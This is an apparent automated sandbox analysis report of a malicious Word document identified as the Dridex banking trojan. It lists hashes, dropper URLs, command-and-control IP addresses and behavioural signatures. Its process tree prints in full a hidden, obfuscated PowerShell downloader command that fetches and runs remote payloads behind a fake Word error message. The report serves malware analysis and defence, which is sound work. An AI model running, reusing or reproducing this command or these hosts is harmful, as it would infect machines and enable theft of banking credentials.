Order_Gift_Card_411022863.doc

General
Target

Order_Gift_Card_411022863.doc

Filesize

112KB

Completed

26-11-2020 07:50

Score
10 /10
MD5

07faf71908158870c1e1af97bd89d12d

SHA1

567052f0b8b453932db3e18208990bca12bcc167

SHA256

255327cc966eebcdb52f94414c36920585f2190ae10a9560db5047def717b2ac

Malware Config

Extracted

Language ps1
Deobfuscated
URLs
exe.dropper

https://burstner.clabris.se/ucjk7st.zip

exe.dropper

http://bespokeweddings.ie/k1c8dh4.rar

exe.dropper

https://conjurosdeamoryhechiceriaacacio.com/tjbdhdvi1.zip

exe.dropper

https://keitauniv.keita.ae/wchfvdsd7.rar

exe.dropper

https://cms.keita.ae/h0mqrz.rar

exe.dropper

https://airbornegroup.net/y461xrm.zip

exe.dropper

https://phones.pmrspain.com/xzeoxn8.rar

exe.dropper

http://oya.qa/lfonl5.rar

Extracted

Family dridex
Botnet 10555
C2

194.225.58.216:443

178.254.40.132:691

216.172.165.70:3889

198.57.200.100:3786

rc4.plain
rc4.plain
Signatures 14

Filter: none

Discovery
  • Dridex

    Description

    Dridex(known as Bugat/Cridex) is a form of malware that specializes in stealing bank credentials.

  • Process spawned unexpected child process
    cmd.exe

    Description

    This typically indicates the parent process was compromised via an exploit or macro.

    Reported IOCs

    descriptionpidpid_targetprocesstarget process
    Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process4804060cmd.exe
  • Dridex Loader

    Description

    Detects Dridex both x86 and x64 loader in memory.

    Reported IOCs

    resourceyara_rule
    behavioral2/memory/3956-14-0x0000000002F40000-0x0000000002F7D000-memory.dmpdridex_ldr
    behavioral2/memory/3956-15-0x0000000002F40000-0x0000000002F7D000-memory.dmpdridex_ldr
  • Blocklisted process makes network request
    powershell.exerundll32.exe

    Reported IOCs

    flowpidprocess
    193424powershell.exe
    263956rundll32.exe
    283956rundll32.exe
    343956rundll32.exe
    353956rundll32.exe
  • Loads dropped DLL
    rundll32.exe

    Reported IOCs

    pidprocess
    3956rundll32.exe
  • Checks installed software on the system

    Description

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    Tags

    TTPs

    Query Registry
  • Checks whether UAC is enabled
    rundll32.exe

    TTPs

    System Information Discovery

    Reported IOCs

    descriptioniocprocess
    Key value queried\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUArundll32.exe
  • Checks processor information in registry
    WINWORD.EXE

    Description

    Processor information is often read in order to detect sandboxing environments.

    TTPs

    Query RegistrySystem Information Discovery

    Reported IOCs

    descriptioniocprocess
    Key value queried\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameStringWINWORD.EXE
    Key opened\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0WINWORD.EXE
    Key value queried\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHzWINWORD.EXE
  • Enumerates system info in registry
    WINWORD.EXE

    TTPs

    Query RegistrySystem Information Discovery

    Reported IOCs

    descriptioniocprocess
    Key opened\REGISTRY\MACHINE\Hardware\Description\System\BIOSWINWORD.EXE
    Key value queried\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamilyWINWORD.EXE
    Key value queried\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKUWINWORD.EXE
  • Suspicious behavior: AddClipboardFormatListener
    WINWORD.EXE

    Reported IOCs

    pidprocess
    412WINWORD.EXE
    412WINWORD.EXE
  • Suspicious behavior: EnumeratesProcesses
    powershell.exe

    Reported IOCs

    pidprocess
    3424powershell.exe
    3424powershell.exe
    3424powershell.exe
  • Suspicious use of AdjustPrivilegeToken
    powershell.exe

    Reported IOCs

    descriptionpidprocess
    Token: SeDebugPrivilege3424powershell.exe
  • Suspicious use of SetWindowsHookEx
    WINWORD.EXE

    Reported IOCs

    pidprocess
    412WINWORD.EXE
    412WINWORD.EXE
    412WINWORD.EXE
    412WINWORD.EXE
    412WINWORD.EXE
    412WINWORD.EXE
    412WINWORD.EXE
    412WINWORD.EXE
    412WINWORD.EXE
  • Suspicious use of WriteProcessMemory
    cmd.exepowershell.exerundll32.exe

    Reported IOCs

    descriptionpidprocesstarget process
    PID 480 wrote to memory of 3848480cmd.exemsg.exe
    PID 480 wrote to memory of 3848480cmd.exemsg.exe
    PID 480 wrote to memory of 3424480cmd.exepowershell.exe
    PID 480 wrote to memory of 3424480cmd.exepowershell.exe
    PID 3424 wrote to memory of 25443424powershell.exerundll32.exe
    PID 3424 wrote to memory of 25443424powershell.exerundll32.exe
    PID 2544 wrote to memory of 39562544rundll32.exerundll32.exe
    PID 2544 wrote to memory of 39562544rundll32.exerundll32.exe
    PID 2544 wrote to memory of 39562544rundll32.exerundll32.exe
Processes 6
  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\Order_Gift_Card_411022863.doc" /o ""
    Checks processor information in registry
    Enumerates system info in registry
    Suspicious behavior: AddClipboardFormatListener
    Suspicious use of SetWindowsHookEx
    PID:412
  • C:\Windows\system32\cmd.exe
    cmd cmd cmd cmd /c msg %username% /v Word experienced an error trying to open the file. & POwersheLL -w hidden -ENCOD JAAwADYAVAAgAD0AIAAgAFsAVAB5AHAAZQBdACgAIgB7ADEAfQB7ADAAfQB7ADMAfQB7ADIAfQAiACAALQBGACcAZQBtAC4AaQBvAC4ARABpAHIARQBDACcALAAnAHMAWQBTAHQAJwAsACcAUgBZACcALAAnAFQATwAnACkAOwAgACQAOQB5AGUASAA1AE0AIAA9AFsAdAB5AFAARQBdACgAIgB7ADUAfQB7ADkAfQB7ADMAfQB7ADIAfQB7ADcAfQB7ADQAfQB7ADAAfQB7ADgAfQB7ADEAfQB7ADYAfQAiACAALQBGACAAJwBPAEkAbgBUACcALAAnAEUAJwAsACcALgBuAEUAVAAuAHMARQAnACwAJwBzAFQAZQBNACcALAAnAGkAQwBFAFAAJwAsACcAcwAnACwAJwBSACcALAAnAFIAdgAnACwAJwBNAEEATgBBAEcAJwAsACcAWQAnACkAOwAkAFQAcAA5AHEAdgByAHAAPQAoACgAJwBDAGYAJwArACcAZgAnACkAKwAnAGUAZgAnACsAJwAyAG8AJwApADsAJABIAGgAYgBuAHEAZQBrAD0AJABKADAAeQAxAGsAbgBmACAAKwAgAFsAYwBoAGEAcgBdACgANgA0ACkAIAArACAAJABBAGUAZQAwADIAMwA3ADsAJABHAHEAeABiAGgANQBnAD0AKAAoACcAVQBfACcAKwAnAGEAJwApACsAJwB2ADYAJwArACcAZwBtACcAKQA7ACAAKAAgAEcAYwBpACAAIAAoACcAVgBhAHIAJwArACcASQBBAEIAbABFACcAKwAnADoAMAA2AFQAJwApACAAIAApAC4AVgBhAGwAdQBlADoAOgAiAEMAYABSAEUAYQBgAFQAYABlAEQASQByAEUAYwBUAE8AUgBZACIAKAAkAEgATwBNAEUAIAArACAAKAAoACgAJwAzACcAKwAnAFQATAAnACkAKwAoACcAWgBoACcAKwAnAG8AZAAxACcAKQArACgAJwBhACcAKwAnAGwAMwBUACcAKQArACgAJwBMAE4ANwAnACsAJwB6ACcAKwAnADgAcQAnACkAKwAnADMAJwArACgAJwA5ADMAVAAnACsAJwBMACcAKQApAC4AIgBSAEUAYABwAEwAYABBAGMAZQAiACgAKAAnADMAJwArACcAVABMACcAKQAsAFsAUwB0AFIAaQBuAGcAXQBbAGMASABBAHIAXQA5ADIAKQApACkAOwAkAE0AaQB1AHIAZQBpAGsAPQAoACgAJwBHADEAcQAnACsAJwBxAG4AJwApACsAJwByAHkAJwApADsAIAAkADkAeQBlAEgANQBNADoAOgAiAHMARQBDAHUAUgBgAEkAYABUAHkAcAByAE8AYABUAG8AYABjAE8AbAAiACAAPQAgACgAKAAnAFQAbAAnACsAJwBzADEAJwApACsAJwAyACcAKQA7ACQARwB3ADcAMQBlAG0AagA9ACgAKAAnAFUAJwArACcAZgA5ACcAKQArACgAJwBsAG0AdQAnACsAJwBuACcAKQApADsAJABHAGwAeAB4ADUAcAB5ACAAPQAgACgAKAAnAFUAbgByACcAKwAnAHQAaAAnACsAJwBwACcAKQArACcAcABhACcAKwAnAGYAJwApADsAJABVAHMAbgAxAGYAbABtAD0AKAAoACcASQAnACsAJwBpAGsAeAB4ACcAKQArACcAZgAwACcAKQA7ACQAUgAwAGsAXwBiADEAbQA9ACgAKAAnAFIAXwAnACsAJwBfACcAKQArACgAJwBlAGUANgAnACsAJwBoACcAKQApADsAJABQAHgAegB4ADgAegByAD0AJABIAE8ATQBFACsAKAAoACcAewAwAH0AWgBoAG8AZAAxAGEAbAB7ADAAJwArACcAfQBOADcAegAnACsAJwA4AHEAMwA5AHsAJwArACcAMAB9ACcAKQAtAGYAIAAgAFsAYwBIAGEAUgBdADkAMgApACsAJABHAGwAeAB4ADUAcAB5ACsAKAAnAC4AZAAnACsAJwBsAGwAJwApADsAJABPADcAdgAzAGYAYwBhAD0AKAAnAFoAeQAnACsAKAAnAGkAZQB0ACcAKwAnAGYAMgAnACkAKQA7ACQAUwB4ADEAagB1AGUAbwA9AE4AZQBgAHcALQBvAGIAYABqAGUAYwB0ACAAbgBlAHQALgBXAGUAYgBjAGwAaQBFAE4AVAA7ACQARwBoAGsAZwAzAGgAZQA9ACgAKAAoACcAaAB0AHQAcABzACcAKwAnADoAJwApACsAJwBLACcAKwAnACkAJwArACgAKAAnACgAbQAnACsAJwBiADEAKQAoAEsAJwApACkAKwAnACkAJwArACcAKAAnACsAKAAnAG0AYgAnACsAJwAxACcAKQArACgAKAAnACkAKAAnACkAKQArACgAJwBiAHUAJwArACcAcgAnACkAKwAnAHMAJwArACgAJwB0AG4AJwArACcAZQAnACkAKwAoACcAcgAnACsAJwAuAGMAJwApACsAKAAnAGwAYQBiAHIAaQBzACcAKwAnAC4AJwArACcAcwBlACcAKwAnAEsAJwApACsAKAAoACcAKQAoACcAKQApACsAJwBtAGIAJwArACcAMQAnACsAKAAoACcAKQAoACcAKQApACsAKAAnAHUAYwBqAGsAJwArACcANwBzAHQALgAnACkAKwAoACcAegBpAHAAJwArACcAQAAnACkAKwAoACcAaAB0ACcAKwAnAHQAcAA6ACcAKQArACgAKAAnAEsAKQAnACkAKQArACgAKAAnACgAbQAnACsAJwBiADEAJwApACkAKwAoACgAJwApACgASwApACgAJwArACcAbQAnACsAJwBiADEAKQAnACsAJwAoAGIAZQAnACkAKQArACcAcwAnACsAJwBwACcAKwAoACcAbwAnACsAJwBrAGUAJwApACsAKAAnAHcAZQBkACcAKwAnAGQAJwApACsAJwBpAG4AJwArACgAJwBnAHMAJwArACcALgAnACkAKwAnAGkAJwArACgAKAAnAGUASwApACgAJwArACcAbQAnACkAKQArACcAYgAnACsAKAAoACcAMQAnACsAJwApACgAJwApACkAKwAoACcAawAnACsAJwAxAGMAOABkAGgAJwApACsAJwA0ACcAKwAoACcALgByACcAKwAnAGEAJwApACsAKAAnAHIAQABoAHQAdAAnACsAJwBwACcAKQArACgAKAAnAHMAJwArACcAOgBLACkAKABtACcAKwAnAGIAMQAnACsAJwApACgASwApACcAKQApACsAKAAoACcAKABtAGIAMQAnACsAJwApACgAJwArACcAYwBvACcAKQApACsAKAAnAG4AagAnACsAJwB1AHIAJwApACsAKAAnAG8AcwAnACsAJwBkAGUAYQAnACkAKwAoACcAbQBvACcAKwAnAHIAJwApACsAKAAnAHkAaAAnACsAJwBlAGMAJwApACsAKAAnAGgAaQAnACsAJwBjAGUAcgBpAGEAJwApACsAJwBhACcAKwAoACgAJwBjAGEAYwAnACsAJwBpAG8ALgBjAG8AJwArACcAbQBLACcAKwAnACkAJwApACkAKwAoACgAJwAoAG0AJwArACcAYgAxACcAKQApACsAJwApACcAKwAoACgAJwAoACcAKwAnAHQAagAnACkAKQArACgAJwBiACcAKwAnAGQAaABkAHYAaQAnACsAJwAxAC4AJwApACsAKAAnAHoAaQBwACcAKwAnAEAAaAAnACkAKwAoACgAJwB0AHQAcABzACcAKwAnADoASwApACgAbQAnACsAJwBiACcAKQApACsAKAAoACcAMQApACcAKwAnACgASwAnACsAJwApACgAbQAnACkAKQArACcAYgAnACsAKAAoACcAMQApACcAKQApACsAKAAoACcAKABrACcAKwAnAGUAaQB0ACcAKQApACsAKAAnAGEAJwArACcAdQBuAGkAdgAuACcAKwAnAGsAZQAnACkAKwAoACcAaQB0ACcAKwAnAGEAJwApACsAKAAnAC4AYQAnACsAJwBlAEsAJwApACsAKAAoACcAKQAoAG0AJwArACcAYgAxACcAKQApACsAKAAoACcAKQAoAHcAJwArACcAYwBoAGYAJwApACkAKwAoACcAdgBkAHMAJwArACcAZAAnACkAKwAnADcALgAnACsAJwByACcAKwAnAGEAJwArACcAcgAnACsAJwBAACcAKwAoACcAaAB0AHQAJwArACcAcAAnACkAKwAnAHMAJwArACgAKAAnADoASwAnACsAJwApACcAKQApACsAKAAoACcAKAAnACsAJwBtAGIAMQApACgAJwApACkAKwAnAEsAJwArACgAKAAnACkAKABtACcAKwAnAGIAMQApACcAKwAnACgAYwAnACkAKQArACcAbQAnACsAKAAnAHMALgBrACcAKwAnAGUAaQB0AGEAJwApACsAJwAuAGEAJwArACgAKAAnAGUAJwArACcASwApACgAbQBiADEAKQAoACcAKwAnAGgAJwArACcAMABtACcAKQApACsAKAAnAHEAcgAnACsAJwB6ACcAKQArACgAJwAuACcAKwAnAHIAYQAnACkAKwAnAHIAJwArACcAQAAnACsAJwBoACcAKwAoACgAJwB0AHQAcAAnACsAJwBzADoASwApACcAKwAnACgAbQBiADEAJwApACkAKwAoACgAJwApACgASwApACgAJwArACcAbQBiACcAKwAnADEAKQAoACcAKwAnAGEAJwApACkAKwAoACcAaQByACcAKwAnAGIAJwApACsAJwBvACcAKwAoACcAcgAnACsAJwBuAGUAZwAnACkAKwAnAHIAJwArACgAJwBvAHUAJwArACcAcAAnACkAKwAnAC4AJwArACcAbgAnACsAJwBlACcAKwAnAHQAJwArACgAKAAnAEsAKQAnACkAKQArACgAKAAnACgAbQAnACsAJwBiACcAKQApACsAJwAxACcAKwAoACgAJwApACgAeQA0ACcAKwAnADYAJwApACkAKwAnADEAeAAnACsAKAAnAHIAJwArACcAbQAuACcAKQArACcAegBpACcAKwAoACcAcABAACcAKwAnAGgAdAAnACkAKwAnAHQAJwArACcAcAAnACsAJwBzADoAJwArACgAKAAnAEsAKQAoACcAKwAnAG0AJwApACkAKwAnAGIAMQAnACsAKAAoACcAKQAoAEsAJwArACcAKQAoAG0AJwApACkAKwAoACgAJwBiADEAJwArACcAKQAoAHAAaAAnACsAJwBvACcAKwAnAG4AZQBzACcAKQApACsAJwAuAHAAJwArACgAJwBtAHIAcwBwAGEAJwArACcAaQAnACkAKwAnAG4AJwArACgAKAAnAC4AYwBvAG0ASwApACgAJwArACcAbQBiADEAKQAoAHgAegAnACsAJwBlACcAKwAnAG8AeAAnACkAKQArACcAbgA4ACcAKwAnAC4AJwArACcAcgBhACcAKwAnAHIAJwArACgAJwBAACcAKwAnAGgAdAB0AHAAOgAnACkAKwAnAEsAJwArACcAKQAnACsAKAAoACcAKAAnACsAJwBtAGIAJwApACkAKwAoACgAJwAxACkAKABLACkAKABtAGIAJwArACcAMQAnACsAJwApACgAJwArACcAbwAnACkAKQArACcAeQAnACsAKAAoACcAYQAuAHEAYQBLACcAKwAnACkAJwApACkAKwAoACgAJwAoAG0AYgAxACkAJwArACcAKAAnACkAKQArACgAJwBsAGYAbwAnACsAJwBuAGwANQAuAHIAJwApACsAJwBhAHIAJwApACkALgAiAFIAYABFAGAAUABsAGEAYwBFACIAKAAoACgAKAAoACcASwAnACsAJwApACgAJwApACkAKwAoACgAJwBtAGIAJwArACcAMQApACgAJwApACkAKQApACwAKABbAGEAcgByAGEAeQBdACgAJwAvACcAKQAsACgAJwBoAHcAJwArACcAZQAnACkAKQBbADAAXQApAC4AIgBzAGAAcABsAGkAVAAiACgAJABPAGcAMgByADEAZwBpACAAKwAgACQASABoAGIAbgBxAGUAawAgACsAIAAkAEUAMgBiAGYAbABoAHUAKQA7ACQAQQBxAGQAMgB1AGgANgA9ACgAJwBZAHoAJwArACcAXwBuACcAKwAoACcAcgAnACsAJwBoAGQAJwApACkAOwBmAG8AcgBlAGEAYwBoACAAKAAkAFYAMgByAHAAbQBnAGUAIABpAG4AIAAkAEcAaABrAGcAMwBoAGUAIAB8ACAAUwBvAFIAdABgAC0ATwBiAGoAZQBgAGMAVAAgAHsAZwBlAGAAVAAtAHIAYABBAGAATgBkAE8ATQB9ACkAewB0AHIAeQB7ACQAUwB4ADEAagB1AGUAbwAuACIARABgAG8AVwBuAGwAYABvAEEAYABkAEYAaQBMAGUAIgAoACQAVgAyAHIAcABtAGcAZQAsACAAJABQAHgAegB4ADgAegByACkAOwAkAEcAeQB2ADkAZAAyAGUAPQAoACcAUQBzACcAKwAoACcAdwBwACcAKwAnAGIANgAnACkAKwAnAGwAJwApADsASQBmACAAKAAoACYAKAAnAEcAZQB0AC0AJwArACcASQB0AGUAbQAnACkAIAAkAFAAeAB6AHgAOAB6AHIAKQAuACIAbABFAG4AYABnAFQAaAAiACAALQBnAGUAIAA0ADUANwA5ADIAKQAgAHsALgAoACcAcgAnACsAJwB1AG4AZABsAGwAMwAnACsAJwAyAC4AZQAnACsAJwB4AGUAJwApACAAJABQAHgAegB4ADgAegByACwAMAA7ACQAVABkAGQAYwBfADMAbQA9ACgAKAAnAEQAdABiACcAKwAnAGcANgAnACkAKwAnAHcAJwArACcAMAAnACkAOwBiAHIAZQBhAGsAOwAkAE4AOQB5AHcAeABvAGsAPQAoACcAUwAnACsAKAAnAGQAYwAnACsAJwB3AHEAdgBjACcAKQApAH0AfQBjAGEAdABjAGgAewB9AH0AJABGAGsAMgBlAF8AcgBpAD0AKAAoACcARwB4ACcAKwAnAF8AJwApACsAKAAnAGkAJwArACcAYwBnADQAJwApACkA
    Process spawned unexpected child process
    Suspicious use of WriteProcessMemory
    PID:480
    • C:\Windows\system32\msg.exe
      msg Admin /v Word experienced an error trying to open the file.
      PID:3848
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      POwersheLL -w hidden -ENCOD JAAwADYAVAAgAD0AIAAgAFsAVAB5AHAAZQBdACgAIgB7ADEAfQB7ADAAfQB7ADMAfQB7ADIAfQAiACAALQBGACcAZQBtAC4AaQBvAC4ARABpAHIARQBDACcALAAnAHMAWQBTAHQAJwAsACcAUgBZACcALAAnAFQATwAnACkAOwAgACQAOQB5AGUASAA1AE0AIAA9AFsAdAB5AFAARQBdACgAIgB7ADUAfQB7ADkAfQB7ADMAfQB7ADIAfQB7ADcAfQB7ADQAfQB7ADAAfQB7ADgAfQB7ADEAfQB7ADYAfQAiACAALQBGACAAJwBPAEkAbgBUACcALAAnAEUAJwAsACcALgBuAEUAVAAuAHMARQAnACwAJwBzAFQAZQBNACcALAAnAGkAQwBFAFAAJwAsACcAcwAnACwAJwBSACcALAAnAFIAdgAnACwAJwBNAEEATgBBAEcAJwAsACcAWQAnACkAOwAkAFQAcAA5AHEAdgByAHAAPQAoACgAJwBDAGYAJwArACcAZgAnACkAKwAnAGUAZgAnACsAJwAyAG8AJwApADsAJABIAGgAYgBuAHEAZQBrAD0AJABKADAAeQAxAGsAbgBmACAAKwAgAFsAYwBoAGEAcgBdACgANgA0ACkAIAArACAAJABBAGUAZQAwADIAMwA3ADsAJABHAHEAeABiAGgANQBnAD0AKAAoACcAVQBfACcAKwAnAGEAJwApACsAJwB2ADYAJwArACcAZwBtACcAKQA7ACAAKAAgAEcAYwBpACAAIAAoACcAVgBhAHIAJwArACcASQBBAEIAbABFACcAKwAnADoAMAA2AFQAJwApACAAIAApAC4AVgBhAGwAdQBlADoAOgAiAEMAYABSAEUAYQBgAFQAYABlAEQASQByAEUAYwBUAE8AUgBZACIAKAAkAEgATwBNAEUAIAArACAAKAAoACgAJwAzACcAKwAnAFQATAAnACkAKwAoACcAWgBoACcAKwAnAG8AZAAxACcAKQArACgAJwBhACcAKwAnAGwAMwBUACcAKQArACgAJwBMAE4ANwAnACsAJwB6ACcAKwAnADgAcQAnACkAKwAnADMAJwArACgAJwA5ADMAVAAnACsAJwBMACcAKQApAC4AIgBSAEUAYABwAEwAYABBAGMAZQAiACgAKAAnADMAJwArACcAVABMACcAKQAsAFsAUwB0AFIAaQBuAGcAXQBbAGMASABBAHIAXQA5ADIAKQApACkAOwAkAE0AaQB1AHIAZQBpAGsAPQAoACgAJwBHADEAcQAnACsAJwBxAG4AJwApACsAJwByAHkAJwApADsAIAAkADkAeQBlAEgANQBNADoAOgAiAHMARQBDAHUAUgBgAEkAYABUAHkAcAByAE8AYABUAG8AYABjAE8AbAAiACAAPQAgACgAKAAnAFQAbAAnACsAJwBzADEAJwApACsAJwAyACcAKQA7ACQARwB3ADcAMQBlAG0AagA9ACgAKAAnAFUAJwArACcAZgA5ACcAKQArACgAJwBsAG0AdQAnACsAJwBuACcAKQApADsAJABHAGwAeAB4ADUAcAB5ACAAPQAgACgAKAAnAFUAbgByACcAKwAnAHQAaAAnACsAJwBwACcAKQArACcAcABhACcAKwAnAGYAJwApADsAJABVAHMAbgAxAGYAbABtAD0AKAAoACcASQAnACsAJwBpAGsAeAB4ACcAKQArACcAZgAwACcAKQA7ACQAUgAwAGsAXwBiADEAbQA9ACgAKAAnAFIAXwAnACsAJwBfACcAKQArACgAJwBlAGUANgAnACsAJwBoACcAKQApADsAJABQAHgAegB4ADgAegByAD0AJABIAE8ATQBFACsAKAAoACcAewAwAH0AWgBoAG8AZAAxAGEAbAB7ADAAJwArACcAfQBOADcAegAnACsAJwA4AHEAMwA5AHsAJwArACcAMAB9ACcAKQAtAGYAIAAgAFsAYwBIAGEAUgBdADkAMgApACsAJABHAGwAeAB4ADUAcAB5ACsAKAAnAC4AZAAnACsAJwBsAGwAJwApADsAJABPADcAdgAzAGYAYwBhAD0AKAAnAFoAeQAnACsAKAAnAGkAZQB0ACcAKwAnAGYAMgAnACkAKQA7ACQAUwB4ADEAagB1AGUAbwA9AE4AZQBgAHcALQBvAGIAYABqAGUAYwB0ACAAbgBlAHQALgBXAGUAYgBjAGwAaQBFAE4AVAA7ACQARwBoAGsAZwAzAGgAZQA9ACgAKAAoACcAaAB0AHQAcABzACcAKwAnADoAJwApACsAJwBLACcAKwAnACkAJwArACgAKAAnACgAbQAnACsAJwBiADEAKQAoAEsAJwApACkAKwAnACkAJwArACcAKAAnACsAKAAnAG0AYgAnACsAJwAxACcAKQArACgAKAAnACkAKAAnACkAKQArACgAJwBiAHUAJwArACcAcgAnACkAKwAnAHMAJwArACgAJwB0AG4AJwArACcAZQAnACkAKwAoACcAcgAnACsAJwAuAGMAJwApACsAKAAnAGwAYQBiAHIAaQBzACcAKwAnAC4AJwArACcAcwBlACcAKwAnAEsAJwApACsAKAAoACcAKQAoACcAKQApACsAJwBtAGIAJwArACcAMQAnACsAKAAoACcAKQAoACcAKQApACsAKAAnAHUAYwBqAGsAJwArACcANwBzAHQALgAnACkAKwAoACcAegBpAHAAJwArACcAQAAnACkAKwAoACcAaAB0ACcAKwAnAHQAcAA6ACcAKQArACgAKAAnAEsAKQAnACkAKQArACgAKAAnACgAbQAnACsAJwBiADEAJwApACkAKwAoACgAJwApACgASwApACgAJwArACcAbQAnACsAJwBiADEAKQAnACsAJwAoAGIAZQAnACkAKQArACcAcwAnACsAJwBwACcAKwAoACcAbwAnACsAJwBrAGUAJwApACsAKAAnAHcAZQBkACcAKwAnAGQAJwApACsAJwBpAG4AJwArACgAJwBnAHMAJwArACcALgAnACkAKwAnAGkAJwArACgAKAAnAGUASwApACgAJwArACcAbQAnACkAKQArACcAYgAnACsAKAAoACcAMQAnACsAJwApACgAJwApACkAKwAoACcAawAnACsAJwAxAGMAOABkAGgAJwApACsAJwA0ACcAKwAoACcALgByACcAKwAnAGEAJwApACsAKAAnAHIAQABoAHQAdAAnACsAJwBwACcAKQArACgAKAAnAHMAJwArACcAOgBLACkAKABtACcAKwAnAGIAMQAnACsAJwApACgASwApACcAKQApACsAKAAoACcAKABtAGIAMQAnACsAJwApACgAJwArACcAYwBvACcAKQApACsAKAAnAG4AagAnACsAJwB1AHIAJwApACsAKAAnAG8AcwAnACsAJwBkAGUAYQAnACkAKwAoACcAbQBvACcAKwAnAHIAJwApACsAKAAnAHkAaAAnACsAJwBlAGMAJwApACsAKAAnAGgAaQAnACsAJwBjAGUAcgBpAGEAJwApACsAJwBhACcAKwAoACgAJwBjAGEAYwAnACsAJwBpAG8ALgBjAG8AJwArACcAbQBLACcAKwAnACkAJwApACkAKwAoACgAJwAoAG0AJwArACcAYgAxACcAKQApACsAJwApACcAKwAoACgAJwAoACcAKwAnAHQAagAnACkAKQArACgAJwBiACcAKwAnAGQAaABkAHYAaQAnACsAJwAxAC4AJwApACsAKAAnAHoAaQBwACcAKwAnAEAAaAAnACkAKwAoACgAJwB0AHQAcABzACcAKwAnADoASwApACgAbQAnACsAJwBiACcAKQApACsAKAAoACcAMQApACcAKwAnACgASwAnACsAJwApACgAbQAnACkAKQArACcAYgAnACsAKAAoACcAMQApACcAKQApACsAKAAoACcAKABrACcAKwAnAGUAaQB0ACcAKQApACsAKAAnAGEAJwArACcAdQBuAGkAdgAuACcAKwAnAGsAZQAnACkAKwAoACcAaQB0ACcAKwAnAGEAJwApACsAKAAnAC4AYQAnACsAJwBlAEsAJwApACsAKAAoACcAKQAoAG0AJwArACcAYgAxACcAKQApACsAKAAoACcAKQAoAHcAJwArACcAYwBoAGYAJwApACkAKwAoACcAdgBkAHMAJwArACcAZAAnACkAKwAnADcALgAnACsAJwByACcAKwAnAGEAJwArACcAcgAnACsAJwBAACcAKwAoACcAaAB0AHQAJwArACcAcAAnACkAKwAnAHMAJwArACgAKAAnADoASwAnACsAJwApACcAKQApACsAKAAoACcAKAAnACsAJwBtAGIAMQApACgAJwApACkAKwAnAEsAJwArACgAKAAnACkAKABtACcAKwAnAGIAMQApACcAKwAnACgAYwAnACkAKQArACcAbQAnACsAKAAnAHMALgBrACcAKwAnAGUAaQB0AGEAJwApACsAJwAuAGEAJwArACgAKAAnAGUAJwArACcASwApACgAbQBiADEAKQAoACcAKwAnAGgAJwArACcAMABtACcAKQApACsAKAAnAHEAcgAnACsAJwB6ACcAKQArACgAJwAuACcAKwAnAHIAYQAnACkAKwAnAHIAJwArACcAQAAnACsAJwBoACcAKwAoACgAJwB0AHQAcAAnACsAJwBzADoASwApACcAKwAnACgAbQBiADEAJwApACkAKwAoACgAJwApACgASwApACgAJwArACcAbQBiACcAKwAnADEAKQAoACcAKwAnAGEAJwApACkAKwAoACcAaQByACcAKwAnAGIAJwApACsAJwBvACcAKwAoACcAcgAnACsAJwBuAGUAZwAnACkAKwAnAHIAJwArACgAJwBvAHUAJwArACcAcAAnACkAKwAnAC4AJwArACcAbgAnACsAJwBlACcAKwAnAHQAJwArACgAKAAnAEsAKQAnACkAKQArACgAKAAnACgAbQAnACsAJwBiACcAKQApACsAJwAxACcAKwAoACgAJwApACgAeQA0ACcAKwAnADYAJwApACkAKwAnADEAeAAnACsAKAAnAHIAJwArACcAbQAuACcAKQArACcAegBpACcAKwAoACcAcABAACcAKwAnAGgAdAAnACkAKwAnAHQAJwArACcAcAAnACsAJwBzADoAJwArACgAKAAnAEsAKQAoACcAKwAnAG0AJwApACkAKwAnAGIAMQAnACsAKAAoACcAKQAoAEsAJwArACcAKQAoAG0AJwApACkAKwAoACgAJwBiADEAJwArACcAKQAoAHAAaAAnACsAJwBvACcAKwAnAG4AZQBzACcAKQApACsAJwAuAHAAJwArACgAJwBtAHIAcwBwAGEAJwArACcAaQAnACkAKwAnAG4AJwArACgAKAAnAC4AYwBvAG0ASwApACgAJwArACcAbQBiADEAKQAoAHgAegAnACsAJwBlACcAKwAnAG8AeAAnACkAKQArACcAbgA4ACcAKwAnAC4AJwArACcAcgBhACcAKwAnAHIAJwArACgAJwBAACcAKwAnAGgAdAB0AHAAOgAnACkAKwAnAEsAJwArACcAKQAnACsAKAAoACcAKAAnACsAJwBtAGIAJwApACkAKwAoACgAJwAxACkAKABLACkAKABtAGIAJwArACcAMQAnACsAJwApACgAJwArACcAbwAnACkAKQArACcAeQAnACsAKAAoACcAYQAuAHEAYQBLACcAKwAnACkAJwApACkAKwAoACgAJwAoAG0AYgAxACkAJwArACcAKAAnACkAKQArACgAJwBsAGYAbwAnACsAJwBuAGwANQAuAHIAJwApACsAJwBhAHIAJwApACkALgAiAFIAYABFAGAAUABsAGEAYwBFACIAKAAoACgAKAAoACcASwAnACsAJwApACgAJwApACkAKwAoACgAJwBtAGIAJwArACcAMQApACgAJwApACkAKQApACwAKABbAGEAcgByAGEAeQBdACgAJwAvACcAKQAsACgAJwBoAHcAJwArACcAZQAnACkAKQBbADAAXQApAC4AIgBzAGAAcABsAGkAVAAiACgAJABPAGcAMgByADEAZwBpACAAKwAgACQASABoAGIAbgBxAGUAawAgACsAIAAkAEUAMgBiAGYAbABoAHUAKQA7ACQAQQBxAGQAMgB1AGgANgA9ACgAJwBZAHoAJwArACcAXwBuACcAKwAoACcAcgAnACsAJwBoAGQAJwApACkAOwBmAG8AcgBlAGEAYwBoACAAKAAkAFYAMgByAHAAbQBnAGUAIABpAG4AIAAkAEcAaABrAGcAMwBoAGUAIAB8ACAAUwBvAFIAdABgAC0ATwBiAGoAZQBgAGMAVAAgAHsAZwBlAGAAVAAtAHIAYABBAGAATgBkAE8ATQB9ACkAewB0AHIAeQB7ACQAUwB4ADEAagB1AGUAbwAuACIARABgAG8AVwBuAGwAYABvAEEAYABkAEYAaQBMAGUAIgAoACQAVgAyAHIAcABtAGcAZQAsAC